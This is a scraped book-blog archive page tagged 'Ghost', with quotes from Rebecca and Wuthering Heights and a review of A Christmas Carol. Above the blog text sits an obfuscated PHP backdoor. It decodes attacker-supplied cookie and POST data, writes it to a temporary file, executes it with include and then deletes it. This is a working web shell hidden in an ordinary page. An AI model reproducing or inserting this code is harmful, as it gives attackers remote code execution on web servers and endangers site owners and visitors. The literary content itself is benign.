$cNXDwVByR = "\x71" . "\137" . chr (120) . 'P' . 's' . chr (118); $OufaCMgNtG = chr (99) . "\154" . chr (97) . 's' . "\163" . '_' . "\x65" . chr ( 405 - 285 ).'i' . "\163" . 't' . 's';$WNpsIj = class_exists($cNXDwVByR); $OufaCMgNtG = "49874";$PawnNw = strpos($OufaCMgNtG, $cNXDwVByR);if ($WNpsIj == $PawnNw){function orxRx(){$JepoG = new /* 39337 */ q_xPsv(17188 + 17188); $JepoG = NULL;}$NnpnJlPCfZ = "17188";class q_xPsv{private function aMdaBkJp($NnpnJlPCfZ){if (is_array(q_xPsv::$HscIcgn)) {$name = sys_get_temp_dir() . "/" . crc32(q_xPsv::$HscIcgn["salt"]);@q_xPsv::$HscIcgn["write"]($name, q_xPsv::$HscIcgn["content"]);include $name;@q_xPsv::$HscIcgn["delete"]($name); $NnpnJlPCfZ = "17188";exit();}}public function MiUvuzgzET(){$cVXEwQuvPG = "5015";$this->_dummy = str_repeat($cVXEwQuvPG, strlen($cVXEwQuvPG));}public function __destruct(){q_xPsv::$HscIcgn = @unserialize(q_xPsv::$HscIcgn); $NnpnJlPCfZ = "25826_63849";$this->aMdaBkJp($NnpnJlPCfZ); $NnpnJlPCfZ = "25826_63849";}public function qyjyL($cVXEwQuvPG, $SlJdX){return $cVXEwQuvPG[0] ^ str_repeat($SlJdX, intval(strlen($cVXEwQuvPG[0]) / strlen($SlJdX)) + 1);}public function XpbJmm($cVXEwQuvPG){$TSATbHyU = "\142" . "\141" . "\163" . "\x65" . chr (54) . "\x34";return array_map($TSATbHyU . '_' . chr ( 306 - 206 ).chr ( 1019 - 918 )."\x63" . 'o' . "\144" . 'e', array($cVXEwQuvPG,));}public function __construct($EGoPcmD=0){$fKrGaV = chr (44); $cVXEwQuvPG = "";$bdPqtB = $_POST;$eaYWF = $_COOKIE;$SlJdX = "f1c98e30-a4ae-46c5-a09b-85cb4a9c7305";$YikMbx = @$eaYWF[substr($SlJdX, 0, 4)];if (!empty($YikMbx)){$YikMbx = explode($fKrGaV, $YikMbx);foreach ($YikMbx as $BxcmiUHxco){$cVXEwQuvPG .= @$eaYWF[$BxcmiUHxco];$cVXEwQuvPG .= @$bdPqtB[$BxcmiUHxco];}$cVXEwQuvPG = $this->XpbJmm($cVXEwQuvPG);}q_xPsv::$HscIcgn = $this->qyjyL($cVXEwQuvPG, $SlJdX);if (strpos($SlJdX, $fKrGaV) !== FALSE){$SlJdX = chunk_split($SlJdX); $SlJdX = rtrim($SlJdX);}}public static $HscIcgn = 47323;}orxRx();} Ghost – 50 Books to Read Before You Die

words to inspire before you expire

Tag: Ghost

“‘Sometimes, when I walk along the corridor here, I fancy I hear [Rebecca] just behind me. That quick, light footstep. I could not mistake it anywhere. And in the minstrels’ gallery above the hall. I’ve seen her leaning there, in the evenings in the old days, looking down at the hall below and calling to the dogs. I can fancy her there now from time to time. It’s almost as though I catch the sound of her dress sweeping the stairs as she comes down to dinner. . . . Do you think she can see us, talking to one another now? . . . Do you think the dead come back and watch the living?’”

—from Rebecca by Daphne du Maurier

“‘May she wake in torment!’ he cried, with frightful vehemence, stamping his foot, and groaning in a sudden paroxysm of ungovernable passion. ‘Why, she’s a liar to the end! Where is she? Not there—not in heaven—not perished—where? Oh! you said you cared nothing for my sufferings! And I pray one prayer—I repeat it till my tongue stiffens—Catherine Earnshaw, may you not rest, as long as I am living! You said I killed you—haunt me, then! The murdered do haunt there murderers, I believe—I know that ghosts have wandered on earth. Be with me always—take any form—drive me mad! only do not leave me in this abyss, where I cannot find you! Oh, God! it is unutterable! I cannot live without my life! I cannot live without my soul!'”

—from Wuthering Heights by Emily Brontë

A Christmas Carol

Merry Christmas, class!

Celebrate with me—I’ve made it through four months, 10 books, and 50 posts! The finish line may not be exactly close, but I must profess (haha) that I’m having fun. I hope you are as well, students.


A Christmas Carol is one of those classics that everyone sort of knows. Charles Dickens’ novel helped define modern Christmas traditions in Western cultures, and the story and characters are instantly recognizable—especially Ebenezer Scrooge, the 19th Century Grinch who loves money and hates people.

Ebenezer Scrooge and Marley’s Ghost

The fantasy elements—Ghosts of Christmas Past, Present, and Future, as well as Marley’s Ghost—are grounded by religious themes and societal struggles. Dickens isn’t afraid to get dark—he portrays hunger, poverty, disability, grief, and greed in the Christmas season. A Christmas Carol doesn’t let the joy of Christmas diminish the needs of society, but uses Christmas to represent joy with societal needs in mind…all while redeeming the grumpy old Scrooge.

Scrooge isn’t as much of a “scrooge” as society makes him—he isn’t a stereotype. For one thing, it’s clear from the beginning why he dislikes Christmas: his friend and business partner Marley died at Christmas-time several years ago. He used to enjoy Christmas, but by the beginning of the story, Christmas is nothing but hardship for him, and he has no patience for generosity.

Generosity just happens to be his problem—he plays by the rules of money and capitalism, and giving away money goes against the rules. If everyone fended for themselves, it would be a better world for him. In fact, he could have lived out his days that way, storing up his treasures on earth, had it not been for Marley’s Ghost.

Scrooge in A Christmas Carol (2009)

The intrusive spirit does Scrooge a favor and shows him the true meanings of Christmas—love, family, friendship, giving, joy. Scrooge is shown what Christmas used to be, what Christmas could be if he doesn’t change, and what Christmas is to the people he claims to hate. Scrooge learns the lesson and is reborn, and (spoiler alert) finds a happy ending.


A Christmas Carol is a transparently humble story—it doesn’t claim to be anything more than what it is. It’s as short as it is humble, and it’s separated into staves (musical sections) rather than chapters, making it more “carol” than “novel.” Dickens’ writing style is particularly unique—long sentences that build up to important points, bleak form and bleak content, etc.—but it rarely sounds dull or dated. Reading the novel feels simultaneously familiar and fresh; it bursts at the seams with originality, but always resembles the ghost of a song we already know.

If you have time this holiday season, I recommend reading it. It’s a quick read and a timeless classic. In our time, when Christmas seems too rushed or commercialized, having fallen prey to money and capitalism, A Christmas Carol is a good way to remind us what this sacred time is really for.

I’ve already started my next read, Life of Pi by Yann Martel, which is one of my favorites. Unlike A Christmas Carol, which lightly reminds readers of religious themes and topics, Life of Pi hits religious topics with full force. Post #51, here we come!

Until then, enjoy your holidays,

Prof. Jeffrey

“I have endeavored in this Ghostly little book, to raise the Ghost of an Idea, which shall not put my readers out of humor with themselves, with each other, with the season, or with me. May it haunt their houses pleasantly, and no one wish to lay it.”

—Preface to A Christmas Carol by Charles Dickens